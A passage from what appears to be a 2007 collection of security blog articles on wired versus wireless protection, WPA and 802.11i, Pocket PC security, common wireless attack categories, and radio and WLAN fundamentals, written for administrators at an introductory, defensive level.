An employee doesn’t need a spare network jack to set up a rogue access point. Access points usually have a mini-hub built in. A user could just unplug their PC and plug the access point into the network jack that the PC had been using. They can then plug their PC into the access point. So what does this have to do with media access controls? Most wireless access points have a MAC address of their own. Therefore, if your wired network had a MAC address filter in place, then the rogue access point would never be able to gain access to the rest of the network.
Encryption

Would you communicate across a wireless network without using encryption? Of course not, but many of the wired networks allow the majority of communications to go unencrypted. Wired networks are just as prone to eavesdropping as wireless networks are. The only difference is that wireless networks can be snooped on by outsiders, and snooping on a wired network requires a physical connection. Even so, I have seen plenty of instances in which an employee uses a protocol analyzer to spy on co-workers.

Microsoft began offering IPSec encryption with Windows 2000, and continues to offer it in Windows Server 2003 and in Windows XP. However, many companies choose to only encrypt traffic flowing between servers. Although there are certainly exceptions, the bulk of the traffic flowing between servers and workstations is typically not encrypted.

A couple of years ago, conventional wisdom stated that most workstation traffic should not be encrypted because of the burden that encryption places on the network. The encryption and decryption process consumes processing power, and encrypted packets typically consume more network bandwidth.

Although these may have been valid arguments at one time, I believe that the time has come to encrypt all network traffic. Network cards exist that can handle the encryption and decryption process without having to burden the processor. Likewise, gigabit network cards have become cheap enough that the extra bandwidth required by encrypted packets should no longer be a huge issue.
Isolation

One of the other ways that wireless network security has surpassed wired security is in the way that it is isolated. In many companies, anything coming in through a wireless access point is automatically assumed to be non trustworthy, until the sender can prove otherwise. Because the air waves are assumed to be an insecure medium, wireless traffic is handled in a different way than wired traffic. Companies will typically establish a VPN for wireless users.

The idea is that when a user attaches to a wireless network, they are completely isolated from the rest of the network until they have been authenticated. Often, the authentication mechanism isn’t even allowed direct access to a domain controller. Instead, a RADIUS server is typically used to authenticate wireless users. Once authentication has been established, then the user communicates with the network through a secure tunnel.

What is interesting about this is that the VPN like connection uses its own encryption. At the same time though, the wireless signal is already encrypted by using WPA or something similar. This means that legitimate wireless traffic is double encrypted, using two completely different encryption protocols.

In my opinion, isolating segments of a wired network and requiring RADIUS authentication is probably overkill in most cases. It is a good example though of a way in which wireless security mechanisms are more stringent than those used on wired networks.
Conclusion

Although I don’t believe that wireless networks are more secure than wired networks as a general rule, there’s little question that a greater emphasis is placed on wireless security than on wired security. If you are really concerned about the security of your wired network, then it may be worth taking a look at the security mechanisms used on your wireless network and seeing if any of those techniques can be adapted to your wired network.

802.11i, WPA, RSN and What it all Means to Wi-Fi Security

2007-10-24T13:50:00.000-07:00

We've all heard about the flaws and vulnerabilities in WEP, but the effort to create a standard that provides better security for wireless networks has been a long and bumpy one. The IEEE's 802.11i project has been implemented, in part, by the Wi-Fi Alliance's Wi-Fi Protected Access (WPA) and by the Robust Secure Network (RNS). What does it all mean to you, the wireless user or network administrator? In this article, we take a look at the new wireless networking security mechanisms and how you can use them to protect your Wi-Fi network.

In the Beginning: 802.11i

The long-anticipated 802.11i specification for wireless LAN security was finally ratified by the IEEE in June 2004. It had been in the works for years. Unlike 802.11a, b and g specifications, all of which define physical layer issues, 802.11i defines a security mechanism that operates between the Media Access Control (MAC) sublayer and the Network layer.

The new spec offers significant improvements over the old standard, Wired Equivalent Privacy (WEP). The specifications were developed by the IEEE’s TGi task group, headed by David Halasz of Cisco. However, during 802.11i’s long, long gestation period, WPA emerged as an interim solution.

WPA

Wi-Fi Protected Access (WPA) was created by the Wi-Fi Alliance in 2002 – in part out of impatience with the slow-moving 802.11i standard. The industry consortium’s consensus was that an alternative to WEP was needed quickly, and WPA was the result. To avoid multiple “standards” and conflicts later on, WPA was designed from the get-go to be compatible with 802.11i and was based on its early draft specifications. This sets WPA apart from a number of proprietary Wireless LAN security solutions that were developed by Proxim, Funk and other vendors.

WPA provides several security advantages. First, it uses a stronger key management scheme, by implementing the Temporal Key Integrity Protocol (TKIP). TKIP creates encryption values that are mathematically derived from a master key, and changes these encryption keys and IV values automatically (and transparently to the user) so to prevent key stream reuse. This is important because WEP keys have to be changed manually, and this can be an administrative hassle, leading to administrators not changing the keys often enough (or not at all). TKIP also uses a Message Integrity Code called Michael that uses a 64 bit key. The integrity checker is designed to block forged messages.

There are two methods for generating the master key, and WPA operates in two different modes, depending on whether pre-shared keys are used or a central authentication server is available. For home users, WPA offers easy setup (one big problem with WEP was that many users found it too difficult or confusing to set up and manage, so they didn’t). Authentication is based on the Extensible Authentication Protocol (EAP) and can use pre-shared keys that make it simple to configure on the WAP and clients in small network settings: you manually enter a password, and then TKIP does its thing, automatically changing the keys periodically. This is called PSK (for PreShared Key) mode.

Tip:
It is recommended that when using PSK mode, you should set a password with at least 20 characters.

At the large network level, operating in Enterprise mode, WPA supports RADIUS so that users can be authenticated through a centralized server. WPA 802.1x authentication methods include EAP-TLS, EAP-TTLS, EAP-LEAP, EAP-PEAP and other implementations of EAP.

WPA uses the same encryption algorithm for encrypting data that WEP uses: the RC-4 cipher stream algorithm. However, TKIP uses a 48 bit initialization vector, as opposed to the weaker 24 bit IV used by WEP.

The Wi-Fi Alliance started certifying WPA-capable wireless equipment in April 2003. You can find a list of certified products on the Wi-Fi Alliance Web site at http://www.wi-fi.org/OpenSection/certified_products.asp?TID=2. To use WPA, older WAPs must have a firmware upgrade applied. Some WAPs can support both WEP and WPA clients simultaneously. The client computer’s operating system and wireless network adapter must support WPA.

The Windows WPA client is available from Microsoft for Windows XP (with SP1) and Server 2003 systems. The WPA update is included in the Wireless update rollup package for XP (See http://support.microsoft.com/default.aspx?kbid=826942). You can download the WPA patch for XP Professional and Home at http://www.microsoft.com/downloads/details.aspx?FamilyID=009D8425-CE2B-47A4-ABEC-274845DC9E91&displaylang=en.

After you install the update and reboot, there will be new dialog boxes added to the Network configuration window, for configuring WPA.

Note:
If you’re using an operating system other than XP/2003, you must install a third party client program called a supplicant, such as the one available from Funk Software (www.funk.com).

You may need to get updated drivers for your wireless network card from the NIC vendor. For step-by-step instructions on upgrading your WAP and network card, see http://www.pcmag.com/print_article/0,3048,a=107756,00.asp.
RSN

Another element of the 802.11i is Robust Security Network (RSN), which dynamically negotiates the authentication and encryption algorithms to be used for communications between WAPs and wireless clients. This means that as new threats are discovered, new algorithms can be added.

RSN uses the Advanced Encryption Standard (AES), along with 802.1x and EAP. The security protocol that RSN builds on AES is called the Counter Mode CBC MAC Protocol (CCMP). AES supports key lengths up to 256 bits, but is not compatible with older hardware. However, there is a specification designed to allow RSN and WEP to coexist on the same wireless LAN; it’s called Transitional Security Network or TSN. It’s important to note, however, that a WLAN on which some devices are still using WEP is not optimally secured.

Tip:
Current handheld devices (Pocket PCs and Palms) don’t have enough processing power to support AES, so WPA is the best security choice if you have users who store and transmit sensitive data via handhelds. A WPA/802.1x client for Pocket PC 2002/2003 and Palm is available from Meetinghouse (http://www.mtghouse.com/company/index.shtml).
Tying it All Together

802.11i takes WPA a step further. For one thing, it requires the use of AES. The good news is that AES meets government security criteria and provides stronger encryption than WPA/TKIP. The bad news is that AES has to have its own coprocessor, which means older existing wireless hardware can’t just be upgraded via software as with the transition to WPA; instead, it will have to be replaced. Hardware purchased in late 2003 and 2004 may be upgradeable via software or firmware to support 802.11i. Now that the specification has been ratified, new equipment that supports AES out of the box should soon become available.

In addition, 802.11i will encrypt the whole data frame with AES. In WEP and WPA, the RC4 cipher encrypts the data payload only.

The Wi-Fi Alliance refers to the new 802.11i standard as WPA2. Despite the potential costs of implementing it, the new wireless security standard is welcomed by most in the industry as the next, and necessary, step in protecting data that is transmitted over the airwaves. However, those with a large investment in existing hardware this isn’t compliant with AES/802.11i might find it more cost effective to implement WPA at present and transition to 802.11i more slowly.

Securing Your Pocket PC

2007-10-24T13:49:00.000-07:00

Busy executives and tech toy aficionados don't leave home without them - their Pocket PCs, that is. The ability to quickly check e-mail or pull up a Web site while on the go is invaluable, but what about the security implications of connecting to your home or office network with a mobile device? This article discusses security for handheld computers running Pocket PC/Windows Mobile 2003 operating systems.

Extra Convenience = Extra Risk

Handheld computers, especially those that come equipped with built-in wireless (such as the iPAQ 4100 series and the Toshiba e800), offer the ultimate in convenience. These pocket-sized devices allow you to access your important business and personal information – contacts, calendar, e-mail – wherever you go, and connect to the Internet or your company or home network anyplace there’s a Wi-Fi “hot spot.”

With this added convenience, however, comes added risk. In addition to some of the same security threats you face with your desktop PC, you also have the risks associated with wireless networking and the smaller size of the device makes it more vulnerable than your laptop to loss or theft. It’s important that you protect the handheld device at three levels:

* Physical security – protect the device from loss or theft, and prevent access to the OS if the device does fall into the wrong hands.
* Data security – ensure that if the device does fall into the wrong hands and the OS is accessed, your personal and business data can’t be accessed.
* Network security – ensure that if the device does fall into the wrong hands and its OS is accessed, it can’t be used to access your network.

We will look briefly at each of these.
Physical Security

This is the first line of defense. If you were always able to maintain physical security, other levels of security wouldn’t be necessary. Elements of physically securing your handheld device include:

* Carrying and storing the device securely. Slipping it into a pocket or open-flap bag slung over the shoulder leaves it much more vulnerable to loss or theft than carrying it in a locked briefcase or on the body in a PDA case that attaches securely to your belt. If you must put it in a pocket (it is, after all, a Pocket PC), use a front pocket that buttons or zips. It goes without saying that you should not leave the handheld unattended or in open view.
* Preventing access to the OS. At the very least, you should set a power-on password that must be entered to access the device. Use a strong password; Pocket PC 2003 supports both four digit numeric passwords and strong alphanumeric passwords of seven or more digits. Guess which you should use. Some models, such as the iPAQ 5500 series, support biometric (fingerprint) authentication instead of or in addition to password protection.

Note:
Third party products can provide stronger authentication for your Pocket PC. Examples include Crypto-Sign from Transaction Security (http://www.crypto-sign.com/about_cs.php) and PDALok (http://www.pdalok.com/pda_security_products/PDALok_details.htm), which use digital signature verification/recognition.
Data Security

The data you store on your handheld system may include sensitive personal and business information. If your physical security measures fail, it is essential that you prevent access to this data. Here are some ways to do so:

* Consider storing sensitive data on a memory card and removing the card when not in use. This makes it more likely that if the device itself does get into the wrong hands, your data won’t.
* Encrypt sensitive data, whether it is stored on the device or on a removable card. There are many file encryption programs for Pocket PC, such as Pointsec (http://www.pointsec.com/products/products_pocketpc.asp) and PocketLock (http://www.applian.com/pocketpc/pocketlock/index.php).
* Restrict access to applications that could be used to read the data, using software such as PDA Defense (www.pdadefense.com/).
* Use software that will allow you to have the data automatically wiped if there are too many failed logon attempts or the device isn’t hotsynched within a specified time, such as PDA Defense (www.pdadefense.com/).
* Install anti-virus software for Pocket PC, such as F-Secure (http://www.f-secure.com/wireless/pocketpc/pocketpc-av.shtml) or Symantec AV for Pocket PC (www.symantec.com).

Network Security

Handheld computers were originally designed as standalone devices that were synchronized with your desktop computer on a regular basis. Now wireless technology has made the handheld a true network device. This means network administrators and handheld users need to take steps to protect the network, as well as the handheld itself, should the device be stolen or lost. Here are some factors to consider:

* Network administrators should establish policies governing handheld computers that connect to the network.
* Use virtual private networking (VPN) to connect to the company network. PPC 2003 supports Microsoft VPNs. IPSec VPN clients are available from VPN gateway vendors such as Cisco and Check Point.
* Use X.509 digital certificates in a Public Key Infrastructure to implement policies (using policy certificates linked to identity certificates).
* Update your wireless LAN driver to use Wi-Fi Protected Access (WPA) instead of WEP (if available for your PPC model). For example, you can download the wireless driver with WPA support for the iPAQ 5500 series at http://h18007.www1.hp.com/support/files/handhelds/us/download/20969.html.
* Disable BlueTooth and W-Fi (802.11) when not in use. This not only increases security; it also increases your battery life.
* Install a firewall designed for handheld devices, such as BlueFire (www.bluefiresecurity.com/)
* Use a monitoring and notification program such as System Security Monitor for Pocket PC (http://www.net-security.org/software.php?id=548) to detect and track hidden activity on your PPC.

Summary

As more and more people use their handheld computers like miniaturized mobile filing cabinets, storing much of their important information there, security for handhelds becomes a bigger issue. Theft or loss pose the greatest risk to mobile devices at present, but new wireless capabilities make them vulnerable to all the risks of wireless networking, and virus writers have began to develop proof of concept viruses targeted at mobile devices, as well. If you depend on your Pocket PC for easy access to information and networking connectivity when you’re on the go, you should take at least as much time and care in securing your handheld device as you do with your laptop or desktop computer. In this article, we’ve discussed some of the methods and software add-ons that can help you make handheld computing a more secure experience.

Wireless Attacks Primer

2007-10-24T13:48:00.000-07:00

In general, attacks on wireless networks fall into four basic categories: passive attacks, active attacks, man-in-the middle attacks, and jamming attacks. Let's review what these attacks mean on a wireless network.

Wireless Attacks Primer

"For a complete guide to security, check out 'Security+ Study Guide and DVD Training System' from Amazon.com"

Rob Shimonski would like to thank Martin Grasdal (contibuting author on the Security+ book) for original content creation. Martin has by far created one of the most outstanding and complete chapters on Wireless fundamentals and security in the Security+ book that you will find anywhere.
Common Exploits of Wireless Networks

In general, attacks on wireless networks fall into four basic categories: passive attacks, active attacks, man-in-the middle attacks, and jamming attacks. Lets review what these attacks mean on a wireless network.

Passive Attacks on Wireless Networks

A passive attack occurs when someone listens to or eavesdrops on network traffic. Armed with a wireless network adaptor that supports promiscuous mode, the eavesdropper can capture network traffic for analysis using easily available tools, such as Network Monitor in Microsoft products, or TCPdump in Linux-based products, or AirSnort. A passive attack on a wireless network may not be malicious in nature. In fact, many in the wardriving community claim their wardriving activities are benign or “educational” in nature. It is worth noting that wardriving, looking for and detecting wireless traffic, is probably not illegal, even though propagandistic claims to the contrary are often made. Wireless communication takes place on unlicensed public frequencies—any one can use these frequencies. This makes protecting a wireless network from passive attacks more difficult.

Passive attacks are by their very nature difficult to detect. If an administrator is using DHCP on the wireless network (this is not recommended), he or she might notice that an authorized MAC address has acquired an IP address in the DHCP server logs. Then again, he or she might not. Perhaps the administrator notices a suspicious-looking car sporting an antenna out of one of its windows. If the car is parked on private property, the driver could be asked to move or possibly charged with trespassing. But, the legal response is severely limited. Only if it could be determined the wardriver was actively attempting to crack any encryption used on the network or otherwise interfering or analyzing wireless traffic with malicious intent would he or she be susceptible to being charged with a data-related crime, but this would depend on the country or state in which the activity took place.

Passive attacks on wireless networks are extremely common, almost to the point of being ubiquitous. Detecting and reporting on wireless networks has become a popular hobby for many wireless wardriving enthusiasts. In fact, this activity is so popular that a new term, “war plugging”, has emerged to describe the behavior of people who actually wish to advertise both the availability of an AP and the services they offer by configuring their SSIDs with text like, “Get_food_here”!

Most of these wardriving enthusiasts use a popular freeware program, called Netstumbler, which is available from www.netstumbler.com. The Netstumbler program works primarily with wireless network adaptors that use the Hermes chipset because of its ability to detect multiple APs that are within range and WEP, among other features (a list of supported adaptors is available at the Netstumber web site). The most common card that uses the Hermes chipset for use with Netstumbler is the ORiNOCO gold card. Another advantage of the ORiNOCO card is that it supports the addition of an external antenna, which can greatly extend the range of a wireless network to many orders of magnitude, depending on the antenna. A disadvantage of the Hermes chipset is that it doesn’t support promiscuous mode, so it cannot be used to sniff network traffic. For that purpose, you need a wireless network adaptor that supports the PRISM2 chipset. The majority of wireless network adaptors targeted for the consumer market use this chipset, for example, the Linksys WPC network adaptors. Sophisticated wardrivers will arm themselves with both types of cards, one for discovering wireless networks and another for capturing the traffic.

In spite of the fact that Netstumbler is free, it is a sophisticated and feature-rich product that is excellent for performing wireless site surveys, whether for legitimate purposes or not. Not only can it provide detailed information on the wireless networks it detects, it can be used in combination with a GPS to provide exact details on the latitude and longitude of the detected wireless networks. Figure 1 below shows the interface of a typical Netstumbler session.

Discovering Wireless LANs Using Netstumbler

As you can see from the above figure, Netstumbler displays information on the Service Set Identifier (SSID), the channel, and the manufacturer of the wireless AP. There are a few things that are particularly noteworthy about this session. The first is that a couple of APs are still configured with the default SSID supplied by the manufacturer, which should always be changed to a non-default value upon set up and configuration. Another is that at least one network uses a SSID that may provide a clue about the entity that has implemented it; again this is not a good practice when configuring SSIDs. Finally, we can see what networks have implemented WEP.

If the network administrator has been kind enough to provide a clue about the company in the SSID or is not encrypting traffic with WEP, the potential eavesdropper’s job has been made a lot easier. Using a tool such as Netstumbler is only a preliminary step for the attacker. After discovering the SSID and other information, the attacker can connect to the wireless network to sniff and capture network traffic. This network traffic can reveal a lot of information about the network and the company that uses it. For example, looking at the network traffic, the attacker can determine what DNS servers are being used, the default home pages configured on browsers, network names, logon traffic, and so on. The attacker can use this information to determine if the network is of sufficient interest to proceed further with other attacks. Furthermore, if the network is using WEP, the attacker can, given enough time, capture a sufficient amount of traffic to crack the encryption.

Netstumbler works on networks that are configured as open systems. This means that the wireless network indicates that it exists and will respond with the value of its SSID to other wireless devices when they send out a radio beacon with an “empty set” SSID. This does not mean, however, that wireless network can be easily compromised, if other security measures have been implemented. To defend against the use of Netstumbler and other programs to detect a wireless network easily, administrators should configure the wireless network as a closed system. This means that the AP will not respond to “empty set” SSID beacons and will consequently be “invisible” to programs such as Netstumbler which rely on this technique to discover wireless networks. However, it is still possible to capture the “raw” 802.11b frames and decode them through the use of programs such as Ethereal and WildPacket’s AiroPeek to determine this information. As well, RF spectrum analyzers can be used to discover the presence of wireless networks. Notwithstanding this weakness of closed systems, you should choose wireless APs that support this feature.

We should note that on the wireless side, APs are half-duplex devices and work just like other half-duplex devices, such as hubs and repeaters. This means that all the devices on the network can potentially see all the traffic from other devices. The only defense against sniffing on a wireless network is to encrypt Layer 2 and higher traffic whenever possible through the use of WEP, VPNs, SSL, Secure Shell (SSH), Secure Copy (SCP), and so on. Some of these defensive strategies will be more effective than others, depending on the circumstances.

Active Attacks on Wireless Networks

Once an attacker has gained sufficient information from the passive attack, the hacker can then launch an active attack against the network. There are a potentially large number of active attacks that a hacker can launch against a wireless network. For the most part, these attacks are identical to the kinds of active attacks that are encountered on wired networks. These include, but are not limited to, unauthorized access, spoofing, and Denial of Service (DoS) and Flooding attacks, as well as the introduction of Malware and the theft of devices. With the rise in popularity of wireless networks, new variations of traditional attacks specific to wireless networks have emerged along with specific terms to describe them, such as “drive-by spamming” in which a spammer sends out tens or hundreds of thousands of spam messages using a compromised wireless network.

Because of the nature of wireless networks and the weaknesses of WEP, unauthorized access and spoofing are the most common threats to a wireless networks. Spoofing occurs when an attacker is able to use an unauthorized station to impersonate an authorized station on a wireless network. A common way to protect a wireless network against unauthorized access is to use MAC filtering to allow only clients that possess valid MAC addresses access to the wireless network. The list of allowable MAC addresses can be configured on the AP, or it may be configured on a RADIUS server that the AP communicates with. However, regardless of the technique used to implement MAC filtering, it is a relatively easy matter to change the MAC address of a wireless device through software to impersonate a valid station. In Windows, this is accomplished with a simple edit of the registry, in UNIX through a root shell command. MAC addresses are sent in the clear on wireless networks, so it is also a relatively easy matter to discover authorized addresses.

WEP can be implemented to provide more protection against authentication spoofing through the use of Shared Key authentication. However, as we discussed earlier, Shared Key authentication creates an additional vulnerability. Because Shared Key authentication makes visible both a plaintext challenge and the resulting ciphertext version of it, it is possible to use this information to spoof authentication to a closed network.

Once the attacker has authenticated and associated with the wireless network, he or she can then run port scans, use special tools to dump user lists and passwords, impersonate users, connect to shares, and, in general, create havoc on the network through DoS and Flooding attacks. These DoS attacks can be traditional in nature, such as a ping flood, SYN, fragment, or Distrbuted DoS (DDoS) attacks, or they can be specific to wireless networks through the placement and use of Rogue Access Points to prevent wireless traffic from being forwarded properly.

Man-in-the-Middle Attacks on Wireless Networks

Placing a rogue access point within range of wireless stations is wireless-specific variation of a man-in-the-middle attack. If the attacker knows the SSID in use by the network (which as we have seen is easily discoverable) and the rogue AP has enough strength, wireless users will have no way of knowing that they are connecting to an unauthorized AP. Using a rogue AP, an attacker can gain valuable information about the wireless network, such as authentication requests, the secret key that may be in use, and so on. Often, the attacker will set up a laptop with two wireless adaptors, in which one card is used by the rogue AP and the other is used to forward requests through a wireless bridge to the legitimate AP. With a sufficiently strong antenna, the rogue AP does not have to be located in close proximity to the legitimate AP. So, for example, the attacker can run the rogue AP from a car or van parked some distance away from the building. However, it is also common to set up hidden rogue APs (under desks, in closets, etc.) close to and within the same physical area as the legitimate AP. Because of their undetectable nature, the only defense against rogue APs is vigilance through frequent site surveys using tools such as Netstumbler and AiroPeek, and physical security.

Frequent site surveys also have the advantage of uncovering the unauthorized APs that company staff may have set up in their own work areas, thereby compromising the entire network and completely undoing the hard work that went into securing the network in the first place. Even if your company does not use or plan to use a wireless network, you should consider doing regular wireless site surveys to see if someone has violated your company security policy by placing an unauthorized AP on the network, regardless of their intent.

Jamming Attacks on Wireless Networks

Jamming is a special kind of DoS attack specific to wireless networks. Jamming occurs when spurious RF frequencies interfere with the operation of the wireless network. In some cases, the jamming is not malicious and is caused by the presence of other devices, such as cordless phones, that operate in the same frequency as the wireless network. In a case like this, the administrator must devise and implement policies regarding the use of these devices, such a banning the use of Bluetooth devices, or choose wireless hardware that uses different frequencies. Intentional and malicious jamming occurs when an attacker analyzes the spectrum being used by wireless networks and then transmits a powerful signal to interfere with communication on the discovered frequencies. Fortunately, this kind of attack is not very common because of the expense of acquiring hardware capable of launching jamming attacks. Plus, jamming a network represents a kind of pyrrhic victory for the attacker—a lot of time and effort expending merely to disable communications for a while.

Rob Shimonski would like to thank Martin Grasdal (contibuting author on the Security+ book) for original content creation. Martin has by far created one of the most outstanding and complete chapters on Wireless fundamentals and security in the Security+ book that you will find anywhere.

Wireless Security Primer 101

2007-10-24T13:46:00.000-07:00

The first article in a two part series that serves as an introduction to wireless communication, as well as a description of wireless networks, protocols and security standards.

The first article in a two part series that serves as an introduction to wireless communication, as well as a description of wireless networks, protocols and security standards. Part 2 of this series will analyze the different ways in which a wireless network may be attacked. (If you would like to receive an email when Part 2 of this article is released, subscribe to the WindowSecurity.com Real-Time Article Updates from our Newsletter Subscriptions page).

Wireless Security Primer 101

"For a complete guide to security, check out 'Security+ Study Guide and DVD Training System' from Amazon.com"

Rob Shimonski would like to thank Martin Grasdal (contibuting author on the Security+ book) for original content creation. Martin has by far created one of the most outstanding and complete chapters on Wireless fundamentals and security in the Security+ book that you will find anywhere.

Overview of Wireless Communication in a Wireless Network

Wireless networks, like their wired counterparts, rely on the manipulation of electrical charge to enable communication between devices. Changes or oscillations in signal strength from 0 to some maximum value (amplitude) and the rate of those oscillations (frequency) are used singularly or in combination with each other to encode and decode information.

When two devices understand the method(s) used to encode and decode information contained in the changes to the electrical properties of the communications medium, they can communicate with each other. A network adaptor is able to decode the changes in the electric current it senses on the wire and convert them to meaningful information (bits) that it can subsequently send to higher levels for processing. Likewise, a network adaptor can encode information (bits) by manipulating the properties of the electric current for transmission on the communications medium (the cable, in the case of wired networks).

The obvious and primary difference between wired and wireless networks is that wireless networks use a special type of electric current, commonly known as Radio Frequency (RF), which is created by applying alternating current (AC) to an antenna to produce an electromagnetic field (EM). The resulting RF field is used by devices for broadcast and reception. In the case of wireless networks, the medium for communications is the EM field, the region of space that is influenced by the electromagnetic radiation (unlike audio waves, radio waves do not require a medium such as air or water to propagate). As with wired networks, amplitude decreases with distance, resulting in the degradation of signal strength and the ability to communicate. However, the EM field is also dispersed according to the properties of the transmitting antenna, and not tightly bounded as is the case with communication on a wire. The area over which the radio waves propagate from an electromagnetic source is known as the Fresnel Zone.

Like the waves created by throwing a rock into a pool of water, radio waves are affected by the presence of obstructions and may be reflected, refracted, diffracted, or scattered, depending on the properties of the obstruction and its interaction with the radio waves. Reflected radio waves can be a source of interference on wireless networks. The interference created by bounced radio waves is called multipath interference.

When radio waves are reflected, additional wave fronts are created. These different wave fronts may arrive at the receiver at different times and be in phase or out of phase with the main signal. When the peak of a wave is added to another wave (in phase), the wave is amplified. When the peak of a wave meets a trough (out of phase), the wave is effectively cancelled. Multipath interference can be the source of hard-to-troubleshoot problems. In planning for a wireless network, administrators should consider the presence of common sources of multipath interference. These include metal doors, metal roofs, water, metal vertical blinds, and any other source that is highly reflective to radio waves. Antennas may help to compensate for the effects of multipath interference, but these have to be carefully chosen. In fact, many wireless access points have two antennas for precisely this purpose. But, a single omni-directional antenna may be of no use at all for this kind of interference.

Another source of signal loss is the presence of obstacles. While radio waves can travel through physical objects, they will be degraded according to the properties of the object they travel through. A window, for example, is fairly transparent to radio waves, but may reduce the effective range of a wireless network by 50 – 70%, depending on the presence and nature of coatings on the glass. A solid core wall can reduce the effective range of a wireless network by up to 90% or greater.

EM fields are also prone to interference and signal degradation by the presence of other EM fields. In particular, 802.11 wireless networks are prone to interference produced by cordless phones, microwave ovens, and a wide range of devices that use the same unlicensed Industrial, Scientific and Medical (ISM) or Unlicensed National Information Infrastructure (UNII) bands. To mitigate the effects of interference from these devices and other sources of electromagnetic interference, RF-based wireless networks employ Spread Spectrum technologies. Spread spectrum provides a way to “share” bandwidth with other devices that may be operating in the same frequency range. Rather than operating on a single, dedicated frequency such as is the case with radio and television broadcasts, wireless networks use a “spectrum” of frequencies for communication.

First conceived of by Hedy Lamarr and George Antheil (a Hollywood actress and composer respectively) in 1940 as a method to secure military communications from jamming and eavesdropping during WWII, spread spectrum defines methods for wireless devices to use a number of narrowband frequencies over a range of frequencies simultaneously for communication. The narrowband frequencies used between devices change according to a random-appearing but defined pattern, allowing the use of individual frequencies to contain parts of the transmission. Someone listening to a transmission using spread spectrum would hear only noise, unless their device understood in advance what frequencies were used for the transmission and could synchronize with them.

Two methods to synchronize wireless devices are frequency hopping spread spectrum (FHSS) and direct sequence spread spectrum (DSSS). As the name implies, FHSS works by quickly moving from one frequency to another according to a pseudo-random pattern. The frequency range used by the frequency hop is relatively large (83.5 MHz), providing excellent protection from interference. The amount of time spent on any given frequency is known as dwell time; the amount of time it takes to move from one frequency to another is known as hop time. FHSS devices will begin their transmission on one frequency and move to other frequencies according to the pre-defined pseudo-random sequence and then repeat the sequence after reaching the final frequency in the pattern. Hop time is usually very short (200 – 300 ìs) and not significant relative to the dwell time (100 – 200 ms). However, Bluetooth devices use very short dwell times, and the hop times in this case can be significant, resulting in lower throughput. In general, the longer the dwell time, the greater the throughput and the more susceptible the transmission may be to narrowband interference.

The frequency hopping sequence creates the channel, allowing multiple channels to coexist in the same frequency range without interfering with one another. As many as 79 FCC-compliant FHSS devices using the 2.4 GHz ISM band may be co-located with each other. However, the expense of implementing such a large number of systems limits the practical number of co-located devices to well below this number. Wireless networks that use FHSS include HomeRF and Bluetooth, which both operate in the unlicensed 2.4GHz ISM band. FHSS is less subject to EM interference than DSSS, but usually operates at lower rates of data transmission (usually 1.6Mbps, but can be as high as 10 Mbps) than networks that use DSSS.

DSSS works somewhat differently. With DSSS, the data is divided and simultaneously transmitted on as many frequencies as possible within a particular frequency band (the channel). DSSS adds redundant bits of data known as chips to the data to represent binary 0s or 1s. The ratio of chips to data is known as the spreading ratio: the higher the ratio, the more immune to interference the signal is because if part of the transmission is corrupted, the data can still be recovered from the remaining part of the chipping code. This method provides greater rates of transmission than FHSS, which uses a limited number of frequencies, but fewer channels in a given frequency range. And, it also protects against data loss through the redundant, simultaneous transmission of data. However, because DSSS floods the channel it is using, it is also more vulnerable to interference from EM devices operating in the same range. In the 2.4 - 2.4835 GHz frequency range employed by 802.11b, DSSS transmissions can be broadcast in any one of 14 22 MHz-wide channels. The number of center-channel frequencies used by 802.11 DSSS devices depends on the country. For example, North America allows 11 channels operating in the 2.4 – 2.4835 GHz range, Europe 13, and Japan 1. Because each channel is 22 MHz wide, channels may overlap with each other. With the 11 available channels available in North America, only a maximum of 3 channels (1, 6, and 11) may be used concurrently without the use of overlapping frequencies.

When comparing FHSS and DSSS technologies, it should be noted that FHSS networks are not inherently more secure than DSSS networks, contrary to popular belief. Even if the relatively few manufacturers of FHSS devices were not to publish the hopping sequence used by their devices, a sophisticated hacker armed with a spectrum analyzer and a computer could easily determine this information and eavesdrop on the communications.

Wireless networks operate at the Physical and Data Link Layers of the OSI model. The PHY layer is concerned with the physical connections between devices, such as the medium and how bits (0s and 1s) are encoded and decoded. Both FHSS and DSSS, for example, are implemented at the PHY layer. The Data Link Layer is divided into two sub layers, the Media Access Control (MAC) and Logical Link Control (LLC) layers. The MAC layer is responsible for such things as the framing of data, error control, synchronization, and collision detection and avoidance. The Ethernet 802.3 standard, which defines the Carrier Sense Multiple Access with Collision Detection (CSMA/CD) method for protecting against data loss as result of data collisions on the cable, is defined at this layer.

Wireless Local Area Networks

Wireless Local Area Networks (WLANs) are covered by the IEEE 802.11 standards. The purpose of these standards is to provide a wireless equivalent to IEEE 802.3 Ethernet-based networks. The IEEE 802.3 standard defines a method for dealing with collisions (CSMA/CD), speeds of operation (10 Mbps, 100 Mbps, and faster), and cabling types (Category 5 twisted pair and fiber). The standard ensures the interoperability of various devices, despite different speeds and cabling types.

As with the 802.3 standard, the 802.11 standard defines methods for dealing with collision and speeds of operation. However, because of the differences in the media (air as opposed to wires), the devices being used, the potential mobility of users connected to the network, and the possible wireless network topologies, the 802.11 standards differ significantly from the 802.3 standard. As we mentioned earlier in this chapter, 802.11 networks use Carrier Sense Multiple Access with Collision Avoidance (CSMA/CA) as a method to deal with potential collisions, as opposed to CSMA/CD used by Ethernet networks, because not all stations on a wireless network may be able to hear collisions that can occur on the network.

In addition to providing a solution to the problems created by collisions that occur on a wireless network, the 802.11 standard must deal with other issues specific to the nature of wireless devices and wireless communications in general. For example, wireless devices need to be able to locate other wireless devices, such as access points, and be able to communicate with them. Wireless users are mobile and therefore should be able to move seamlessly from one wireless zone to another. Many wireless-enabled devices, such as laptops, use battery power and should be able to conserve power when they are not actively communicating with the network. Wireless communication over the air needs to be secure to mitigate both passive and active attacks.

WAP

The Wireless Application Protocol (WAP) is an open specification designed to enable mobile wireless users to easily access and interact with information and services instantly. WAP is designed for handheld digital wireless devices such as mobile phones, pagers, two-way radios, smartphones and other communicators. It works over most wireless networks and can be built on many operating systems including PalmOS, Windows CE, JavaOS, and others. The WAP operational model is built on the World Wide Web (WWW) programming model with a few enhancements. This model is shown in Figure 1.

WAP 2.0 Architecture Programming Model

WAP browsers in the wireless client are analogous to the standard WWW browsers on computers. WAP URIs are the same as those defined for traditional networks and are also used to identify local resources in the WAP enabled client. The WAP specification added two significant enhancements to the above programming model : push and telephony support (Wireless Telephony Application – WTA). WAP also provides for the use of proxy servers as well as supporting servers providing such functions as PKI support, user profile support, and provisioning support.

WTLS

